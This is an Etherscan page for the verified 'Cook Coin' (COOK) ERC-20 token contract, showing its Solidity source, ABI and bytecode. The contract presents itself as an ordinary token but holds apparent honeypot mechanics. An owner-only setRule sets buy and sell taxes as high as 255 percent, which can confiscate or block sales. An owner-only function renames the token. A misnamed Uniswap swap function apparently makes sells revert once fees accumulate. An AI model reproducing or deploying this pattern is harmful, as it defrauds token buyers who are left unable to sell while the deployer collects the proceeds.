ETH Price: $2,231.54 (-4.85%)
 

Overview

Max Total Supply

100,000,000,000 COOK

Holders

18

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
COOK

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
shanghai EvmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-11-03
*/

/**
 *Submitted for verification at Etherscan.io on 2023-10-27
 */

/*

 Telegram: https://t.me/CookERC
 Twitter : https://twitter.com/CookCoin_ERC


*/

// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.0;

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract COOK {
    string private _name = unicode"Cook Coin";
    string private _symbol = unicode"COOK";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 100_000_000_000 * 10**decimals;

    uint8 buyCharge = 1;
    uint8 sellCharge = 1;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address private pair;
    address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(routerAddress);
    address payable TOKEN_MKT;

    bool private swapping;
    bool private tradingOpen;

    constructor() {
        TOKEN_MKT = payable(msg.sender);
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][routerAddress] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function active(string memory name_, string memory symbol_) external {
        if (msg.sender != TOKEN_MKT) revert Permissions();
        _name = name_;
        _symbol = symbol_;
    }

    function setRule(uint8 _buy, uint8 _sell) external {
        if (msg.sender != TOKEN_MKT) revert Permissions();
        _remeveTax(_buy, _sell);
    }

    function openTrading() external {
        require(msg.sender == TOKEN_MKT);
        require(!tradingOpen);
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        require(tradingOpen || from == TOKEN_MKT || to == TOKEN_MKT);

        if (!tradingOpen && pair == address(0) && amount > 0) pair = to;

        balanceOf[from] -= amount;

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != TOKEN_MKT) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = ETH;
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            TOKEN_MKT.transfer(address(this).balance);
            swapping = false;
        }

        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (from == pair ? buyCharge : sellCharge)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

    function _remeveTax(uint8 _buy, uint8 _sell) private {
        buyCharge = _buy;
        sellCharge = _sell;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"name":"active","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"setRule","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600960809081526821b7b7b59021b7b4b760b91b60a0525f90620000299082620001d9565b50604080518082019091526004815263434f4f4b60e01b6020820152600190620000549082620001d9565b506002805461ffff191661010117905534801562000070575f80fd5b50600680546001600160a01b03191633179055620000916012600a620003b0565b620000a29064174876e800620003c7565b335f8181526003602090815260408083209490945530825260048152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001116012600a620003b0565b620001229064174876e800620003c7565b60405190815260200160405180910390a3620003e1565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200016257607f821691505b6020821081036200018157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620001d4575f81815260208120601f850160051c81016020861015620001af5750805b601f850160051c820191505b81811015620001d057828155600101620001bb565b5050505b505050565b81516001600160401b03811115620001f557620001f562000139565b6200020d816200020684546200014d565b8462000187565b602080601f83116001811462000243575f84156200022b5750858301515b5f19600386901b1c1916600185901b178555620001d0565b5f85815260208120601f198616915b82811015620002735788860151825594840194600190910190840162000252565b50858210156200029157878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002f557815f1904821115620002d957620002d9620002a1565b80851615620002e757918102915b93841c9390800290620002ba565b509250929050565b5f826200030d57506001620003aa565b816200031b57505f620003aa565b81600181146200033457600281146200033f576200035f565b6001915050620003aa565b60ff841115620003535762000353620002a1565b50506001821b620003aa565b5060208310610133831016604e8410600b841016171562000384575081810a620003aa565b620003908383620002b5565b805f1904821115620003a657620003a6620002a1565b0290505b92915050565b5f620003c060ff841683620002fd565b9392505050565b8082028115828204841417620003aa57620003aa620002a1565b610e4a80620003ef5f395ff3fe6080604052600436106100a8575f3560e01c806370a082311161006257806370a082311461019457806395d89b41146101bf57806398f5be87146101d3578063a9059cbb146101f2578063c9567bf914610211578063dd62ed3e14610225575f80fd5b806306fdde03146100b3578063095ea7b3146100dd5780630a7ad74c1461010c57806318160ddd1461012d57806323b872dd1461014f578063313ce5671461016e575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b506100c761025b565b6040516100d491906108ac565b60405180910390f35b3480156100e8575f80fd5b506100fc6100f7366004610912565b6102ea565b60405190151581526020016100d4565b348015610117575f80fd5b5061012b61012636600461094a565b610356565b005b348015610138575f80fd5b506101416103a1565b6040519081526020016100d4565b34801561015a575f80fd5b506100fc61016936600461097b565b6103bf565b348015610179575f80fd5b50610182601281565b60405160ff90911681526020016100d4565b34801561019f575f80fd5b506101416101ae3660046109b4565b60036020525f908152604090205481565b3480156101ca575f80fd5b506100c761040c565b3480156101de575f80fd5b5061012b6101ed366004610a6a565b61041b565b3480156101fd575f80fd5b506100fc61020c366004610912565b610462565b34801561021c575f80fd5b5061012b610475565b348015610230575f80fd5b5061014161023f366004610aca565b600460209081525f928352604080842090915290825290205481565b60605f805461026990610af2565b80601f016020809104026020016040519081016040528092919081815260200182805461029590610af2565b80156102e05780601f106102b7576101008083540402835291602001916102e0565b820191905f5260205f20905b8154815290600101906020018083116102c357829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103449086815260200190565b60405180910390a35060015b92915050565b6006546001600160a01b0316331461038057604051629af2b160e81b815260040160405180910390fd5b6002805460ff9283166101000261ffff199091169390921692909217179055565b6103ad6012600a610c1e565b6103bc9064174876e800610c2c565b81565b6001600160a01b0383165f9081526004602090815260408083203384529091528120805483919083906103f3908490610c43565b9091555061040490508484846104b6565b949350505050565b60606001805461026990610af2565b6006546001600160a01b0316331461044557604051629af2b160e81b815260040160405180910390fd5b5f6104508382610ca3565b50600161045d8282610ca3565b505050565b5f61046e3384846104b6565b9392505050565b6006546001600160a01b0316331461048b575f80fd5b600654600160a81b900460ff16156104a1575f80fd5b6006805460ff60a81b1916600160a81b179055565b6006545f90600160a81b900460ff16806104dd57506006546001600160a01b038581169116145b806104f557506006546001600160a01b038481169116145b6104fd575f80fd5b600654600160a81b900460ff1615801561052057506005546001600160a01b0316155b801561052b57505f82115b1561054c57600580546001600160a01b0319166001600160a01b0385161790555b6001600160a01b0384165f9081526003602052604081208054849290610573908490610c43565b90915550506005546001600160a01b03848116911614801561059f5750600654600160a01b900460ff16155b80156105df575060646105b46012600a610c1e565b6105c39064174876e800610c2c565b6105cd9190610d5f565b305f9081526003602052604090205410155b80156105f957506006546001600160a01b03858116911614155b1561077d576006805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061064457610644610d7e565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061068c5761068c610d7e565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646106cc6012600a610c1e565b6106db9064174876e800610c2c565b6106e59190610d5f565b5f8430426040518663ffffffff1660e01b8152600401610709959493929190610d92565b5f604051808303815f87803b158015610720575f80fd5b505af1158015610732573d5f803e3d5ffd5b50506006546040516001600160a01b0390911692504780156108fc029250905f818181858888f1935050505015801561076d573d5f803e3d5ffd5b50506006805460ff60a01b191690555b6001600160a01b03841630148015906107a45750600654600160a81b900460ff1615156001145b15610827576005545f906064906001600160a01b038781169116146107d357600254610100900460ff166107da565b60025460ff165b6107e79060ff1685610c2c565b6107f19190610d5f565b90506107fd8184610c43565b305f90815260036020526040812080549295508392909190610820908490610e01565b9091555050505b6001600160a01b0383165f908152600360205260408120805484929061084e908490610e01565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161089a91815260200190565b60405180910390a35060019392505050565b5f6020808352835180828501525f5b818110156108d7578581018301518582016040015282016108bb565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461090d575f80fd5b919050565b5f8060408385031215610923575f80fd5b61092c836108f7565b946020939093013593505050565b803560ff8116811461090d575f80fd5b5f806040838503121561095b575f80fd5b6109648361093a565b91506109726020840161093a565b90509250929050565b5f805f6060848603121561098d575f80fd5b610996846108f7565b92506109a4602085016108f7565b9150604084013590509250925092565b5f602082840312156109c4575f80fd5b61046e826108f7565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126109f0575f80fd5b813567ffffffffffffffff80821115610a0b57610a0b6109cd565b604051601f8301601f19908116603f01168101908282118183101715610a3357610a336109cd565b81604052838152866020858801011115610a4b575f80fd5b836020870160208301375f602085830101528094505050505092915050565b5f8060408385031215610a7b575f80fd5b823567ffffffffffffffff80821115610a92575f80fd5b610a9e868387016109e1565b93506020850135915080821115610ab3575f80fd5b50610ac0858286016109e1565b9150509250929050565b5f8060408385031215610adb575f80fd5b610ae4836108f7565b9150610972602084016108f7565b600181811c90821680610b0657607f821691505b602082108103610b2457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610b7857815f1904821115610b5e57610b5e610b2a565b80851615610b6b57918102915b93841c9390800290610b43565b509250929050565b5f82610b8e57506001610350565b81610b9a57505f610350565b8160018114610bb05760028114610bba57610bd6565b6001915050610350565b60ff841115610bcb57610bcb610b2a565b50506001821b610350565b5060208310610133831016604e8410600b8410161715610bf9575081810a610350565b610c038383610b3e565b805f1904821115610c1657610c16610b2a565b029392505050565b5f61046e60ff841683610b80565b808202811582820484141761035057610350610b2a565b8181038181111561035057610350610b2a565b601f82111561045d575f81815260208120601f850160051c81016020861015610c7c5750805b601f850160051c820191505b81811015610c9b57828155600101610c88565b505050505050565b815167ffffffffffffffff811115610cbd57610cbd6109cd565b610cd181610ccb8454610af2565b84610c56565b602080601f831160018114610d04575f8415610ced5750858301515b5f19600386901b1c1916600185901b178555610c9b565b5f85815260208120601f198616915b82811015610d3257888601518255948401946001909101908401610d13565b5085821015610d4f57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f82610d7957634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610de05784516001600160a01b031683529383019391830191600101610dbb565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561035057610350610b2a56fea2646970667358221220e0a7d41b9dbda29c3bbbfa361d4c5c6be505508ff214ca0a9d79dcc6e7ab64a864736f6c63430008150033

Deployed Bytecode

0x6080604052600436106100a8575f3560e01c806370a082311161006257806370a082311461019457806395d89b41146101bf57806398f5be87146101d3578063a9059cbb146101f2578063c9567bf914610211578063dd62ed3e14610225575f80fd5b806306fdde03146100b3578063095ea7b3146100dd5780630a7ad74c1461010c57806318160ddd1461012d57806323b872dd1461014f578063313ce5671461016e575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b506100c761025b565b6040516100d491906108ac565b60405180910390f35b3480156100e8575f80fd5b506100fc6100f7366004610912565b6102ea565b60405190151581526020016100d4565b348015610117575f80fd5b5061012b61012636600461094a565b610356565b005b348015610138575f80fd5b506101416103a1565b6040519081526020016100d4565b34801561015a575f80fd5b506100fc61016936600461097b565b6103bf565b348015610179575f80fd5b50610182601281565b60405160ff90911681526020016100d4565b34801561019f575f80fd5b506101416101ae3660046109b4565b60036020525f908152604090205481565b3480156101ca575f80fd5b506100c761040c565b3480156101de575f80fd5b5061012b6101ed366004610a6a565b61041b565b3480156101fd575f80fd5b506100fc61020c366004610912565b610462565b34801561021c575f80fd5b5061012b610475565b348015610230575f80fd5b5061014161023f366004610aca565b600460209081525f928352604080842090915290825290205481565b60605f805461026990610af2565b80601f016020809104026020016040519081016040528092919081815260200182805461029590610af2565b80156102e05780601f106102b7576101008083540402835291602001916102e0565b820191905f5260205f20905b8154815290600101906020018083116102c357829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103449086815260200190565b60405180910390a35060015b92915050565b6006546001600160a01b0316331461038057604051629af2b160e81b815260040160405180910390fd5b6002805460ff9283166101000261ffff199091169390921692909217179055565b6103ad6012600a610c1e565b6103bc9064174876e800610c2c565b81565b6001600160a01b0383165f9081526004602090815260408083203384529091528120805483919083906103f3908490610c43565b9091555061040490508484846104b6565b949350505050565b60606001805461026990610af2565b6006546001600160a01b0316331461044557604051629af2b160e81b815260040160405180910390fd5b5f6104508382610ca3565b50600161045d8282610ca3565b505050565b5f61046e3384846104b6565b9392505050565b6006546001600160a01b0316331461048b575f80fd5b600654600160a81b900460ff16156104a1575f80fd5b6006805460ff60a81b1916600160a81b179055565b6006545f90600160a81b900460ff16806104dd57506006546001600160a01b038581169116145b806104f557506006546001600160a01b038481169116145b6104fd575f80fd5b600654600160a81b900460ff1615801561052057506005546001600160a01b0316155b801561052b57505f82115b1561054c57600580546001600160a01b0319166001600160a01b0385161790555b6001600160a01b0384165f9081526003602052604081208054849290610573908490610c43565b90915550506005546001600160a01b03848116911614801561059f5750600654600160a01b900460ff16155b80156105df575060646105b46012600a610c1e565b6105c39064174876e800610c2c565b6105cd9190610d5f565b305f9081526003602052604090205410155b80156105f957506006546001600160a01b03858116911614155b1561077d576006805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061064457610644610d7e565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061068c5761068c610d7e565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646106cc6012600a610c1e565b6106db9064174876e800610c2c565b6106e59190610d5f565b5f8430426040518663ffffffff1660e01b8152600401610709959493929190610d92565b5f604051808303815f87803b158015610720575f80fd5b505af1158015610732573d5f803e3d5ffd5b50506006546040516001600160a01b0390911692504780156108fc029250905f818181858888f1935050505015801561076d573d5f803e3d5ffd5b50506006805460ff60a01b191690555b6001600160a01b03841630148015906107a45750600654600160a81b900460ff1615156001145b15610827576005545f906064906001600160a01b038781169116146107d357600254610100900460ff166107da565b60025460ff165b6107e79060ff1685610c2c565b6107f19190610d5f565b90506107fd8184610c43565b305f90815260036020526040812080549295508392909190610820908490610e01565b9091555050505b6001600160a01b0383165f908152600360205260408120805484929061084e908490610e01565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161089a91815260200190565b60405180910390a35060019392505050565b5f6020808352835180828501525f5b818110156108d7578581018301518582016040015282016108bb565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461090d575f80fd5b919050565b5f8060408385031215610923575f80fd5b61092c836108f7565b946020939093013593505050565b803560ff8116811461090d575f80fd5b5f806040838503121561095b575f80fd5b6109648361093a565b91506109726020840161093a565b90509250929050565b5f805f6060848603121561098d575f80fd5b610996846108f7565b92506109a4602085016108f7565b9150604084013590509250925092565b5f602082840312156109c4575f80fd5b61046e826108f7565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126109f0575f80fd5b813567ffffffffffffffff80821115610a0b57610a0b6109cd565b604051601f8301601f19908116603f01168101908282118183101715610a3357610a336109cd565b81604052838152866020858801011115610a4b575f80fd5b836020870160208301375f602085830101528094505050505092915050565b5f8060408385031215610a7b575f80fd5b823567ffffffffffffffff80821115610a92575f80fd5b610a9e868387016109e1565b93506020850135915080821115610ab3575f80fd5b50610ac0858286016109e1565b9150509250929050565b5f8060408385031215610adb575f80fd5b610ae4836108f7565b9150610972602084016108f7565b600181811c90821680610b0657607f821691505b602082108103610b2457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610b7857815f1904821115610b5e57610b5e610b2a565b80851615610b6b57918102915b93841c9390800290610b43565b509250929050565b5f82610b8e57506001610350565b81610b9a57505f610350565b8160018114610bb05760028114610bba57610bd6565b6001915050610350565b60ff841115610bcb57610bcb610b2a565b50506001821b610350565b5060208310610133831016604e8410600b8410161715610bf9575081810a610350565b610c038383610b3e565b805f1904821115610c1657610c16610b2a565b029392505050565b5f61046e60ff841683610b80565b808202811582820484141761035057610350610b2a565b8181038181111561035057610350610b2a565b601f82111561045d575f81815260208120601f850160051c81016020861015610c7c5750805b601f850160051c820191505b81811015610c9b57828155600101610c88565b505050505050565b815167ffffffffffffffff811115610cbd57610cbd6109cd565b610cd181610ccb8454610af2565b84610c56565b602080601f831160018114610d04575f8415610ced5750858301515b5f19600386901b1c1916600185901b178555610c9b565b5f85815260208120601f198616915b82811015610d3257888601518255948401946001909101908401610d13565b5085821015610d4f57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f82610d7957634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610de05784516001600160a01b031683529383019391830191600101610dbb565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561035057610350610b2a56fea2646970667358221220e0a7d41b9dbda29c3bbbfa361d4c5c6be505508ff214ca0a9d79dcc6e7ab64a864736f6c63430008150033

Deployed Bytecode Sourcemap

496:4117:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2941:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2589:207;;;;;;;;;;-1:-1:-1;2589:207:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;2589:207:0;1004:187:1;2045:153:0;;;;;;;;;;-1:-1:-1;2045:153:0;;;;;:::i;:::-;;:::i;:::-;;652:68;;;;;;;;;;;;;:::i;:::-;;;1760:25:1;;;1748:2;1733:18;652:68:0;1614:177:1;2358:223:0;;;;;;;;;;-1:-1:-1;2358:223:0;;;;;:::i;:::-;;:::i;610:35::-;;;;;;;;;;;;643:2;610:35;;;;;2301:4:1;2289:17;;;2271:36;;2259:2;2244:18;610:35:0;2129:184:1;1066:44:0;;;;;;;;;;-1:-1:-1;1066:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;3040:95;;;;;;;;;;;;;:::i;1848:189::-;;;;;;;;;;-1:-1:-1;1848:189:0;;;;;:::i;:::-;;:::i;2804:129::-;;;;;;;;;;-1:-1:-1;2804:129:0;;;;;:::i;:::-;;:::i;2206:144::-;;;;;;;;;;;;;:::i;1117:64::-;;;;;;;;;;-1:-1:-1;1117:64:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;2941:91;2986:13;3019:5;3012:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2941:91;:::o;2589:207::-;2684:10;2657:4;2674:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;2674:30:0;;;;;;;;;;:39;;;2729:37;2657:4;;2674:30;;2729:37;;;;2707:6;1760:25:1;;1748:2;1733:18;;1614:177;2729:37:0;;;;;;;;-1:-1:-1;2784:4:0;2589:207;;;;;:::o;2045:153::-;2125:9;;-1:-1:-1;;;;;2125:9:0;2111:10;:23;2107:49;;2143:13;;-1:-1:-1;;;2143:13:0;;;;;;;;;;;2107:49;4557:9;:16;;;4584:18;;;4557:16;4584:18;-1:-1:-1;;4584:18:0;;;4557:16;;;;4584:18;;;;;;;2045:153::o;652:68::-;708:12;643:2;708;:12;:::i;:::-;690:30;;:15;:30;:::i;:::-;652:68;:::o;2358:223::-;-1:-1:-1;;;;;2491:15:0;;2474:4;2491:15;;;:9;:15;;;;;;;;2507:10;2491:27;;;;;;;:37;;2522:6;;2491:27;2474:4;;2491:37;;2522:6;;2491:37;:::i;:::-;;;;-1:-1:-1;2546:27:0;;-1:-1:-1;2556:4:0;2562:2;2566:6;2546:9;:27::i;:::-;2539:34;2358:223;-1:-1:-1;;;;2358:223:0:o;3040:95::-;3087:13;3120:7;3113:14;;;;;:::i;1848:189::-;1946:9;;-1:-1:-1;;;;;1946:9:0;1932:10;:23;1928:49;;1964:13;;-1:-1:-1;;;1964:13:0;;;;;;;;;;;1928:49;1988:5;:13;1996:5;1988;:13;:::i;:::-;-1:-1:-1;2012:7:0;:17;2022:7;2012;:17;:::i;:::-;;1848:189;;:::o;2804:129::-;2868:4;2892:33;2902:10;2914:2;2918:6;2892:9;:33::i;:::-;2885:40;2804:129;-1:-1:-1;;;2804:129:0:o;2206:144::-;2271:9;;-1:-1:-1;;;;;2271:9:0;2257:10;:23;2249:32;;;;;;2301:11;;-1:-1:-1;;;2301:11:0;;;;2300:12;2292:21;;;;;;2324:11;:18;;-1:-1:-1;;;;2324:18:0;-1:-1:-1;;;2324:18:0;;;2206:144::o;3143:1342::-;3281:11;;3256:4;;-1:-1:-1;;;3281:11:0;;;;;:32;;-1:-1:-1;3304:9:0;;-1:-1:-1;;;;;3296:17:0;;;3304:9;;3296:17;3281:32;:51;;;-1:-1:-1;3323:9:0;;-1:-1:-1;;;;;3317:15:0;;;3323:9;;3317:15;3281:51;3273:60;;;;;;3351:11;;-1:-1:-1;;;3351:11:0;;;;3350:12;:34;;;;-1:-1:-1;3366:4:0;;-1:-1:-1;;;;;3366:4:0;:18;3350:34;:48;;;;;3397:1;3388:6;:10;3350:48;3346:63;;;3400:4;:9;;-1:-1:-1;;;;;;3400:9:0;-1:-1:-1;;;;;3400:9:0;;;;;3346:63;-1:-1:-1;;;;;3422:15:0;;;;;;:9;:15;;;;;:25;;3441:6;;3422:15;:25;;3441:6;;3422:25;:::i;:::-;;;;-1:-1:-1;;3470:4:0;;-1:-1:-1;;;;;3464:10:0;;;3470:4;;3464:10;:23;;;;-1:-1:-1;3479:8:0;;-1:-1:-1;;;3479:8:0;;;;3478:9;3464:23;:65;;;;-1:-1:-1;826:3:0;708:12;643:2;708;:12;:::i;:::-;690:30;;:15;:30;:::i;:::-;812:17;;;;:::i;:::-;3509:4;3491:24;;;;:9;:24;;;;;;:38;;3464:65;:86;;;;-1:-1:-1;3541:9:0;;-1:-1:-1;;;;;3533:17:0;;;3541:9;;3533:17;;3464:86;3460:622;;;3567:8;:15;;-1:-1:-1;;;;3567:15:0;-1:-1:-1;;;3567:15:0;;;3621:16;;;3635:1;3621:16;;;;;;;;-1:-1:-1;;3621:16:0;;;;;;;;;;-1:-1:-1;3621:16:0;3597:40;;3670:4;3652;3657:1;3652:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;3652:23:0;;;-1:-1:-1;;;;;3652:23:0;;;;;1240:42;3690:4;3695:1;3690:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;3690:13:0;;;:7;;;;;;;;;;;:13;1322:42;3718:88;826:3;708:12;643:2;708;:12;:::i;:::-;690:30;;:15;:30;:::i;:::-;812:17;;;;:::i;:::-;3862:1;3886:4;3921;3949:15;3718:265;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;3998:9:0;;:41;;-1:-1:-1;;;;;3998:9:0;;;;-1:-1:-1;4017:21:0;3998:41;;;;;-1:-1:-1;4017:21:0;3998:9;:41;:9;:41;4017:21;3998:9;:41;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;4054:8:0;:16;;-1:-1:-1;;;;4054:16:0;;;3460:622;-1:-1:-1;;;;;4098:21:0;;4114:4;4098:21;;;;:44;;-1:-1:-1;4123:11:0;;-1:-1:-1;;;4123:11:0;;;;:19;;4138:4;4123:19;4098:44;4094:286;;;4225:4;;4159:27;;4259:3;;-1:-1:-1;;;;;4217:12:0;;;4225:4;;4217:12;:37;;4244:10;;;;;;;4217:37;;;4232:9;;;;4217:37;4190:65;;;;:6;:65;:::i;:::-;4189:73;;;;:::i;:::-;4159:103;-1:-1:-1;4277:29:0;4159:103;4277:29;;:::i;:::-;4339:4;4321:24;;;;:9;:24;;;;;:47;;4277:29;;-1:-1:-1;4349:19:0;;4321:24;;;:47;;4349:19;;4321:47;:::i;:::-;;;;-1:-1:-1;;;4094:286:0;-1:-1:-1;;;;;4390:13:0;;;;;;:9;:13;;;;;:23;;4407:6;;4390:13;:23;;4407:6;;4390:23;:::i;:::-;;;;;;;;4444:2;-1:-1:-1;;;;;4429:26:0;4438:4;-1:-1:-1;;;;;4429:26:0;;4448:6;4429:26;;;;1760:25:1;;1748:2;1733:18;;1614:177;4429:26:0;;;;;;;;-1:-1:-1;4473:4:0;3143:1342;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;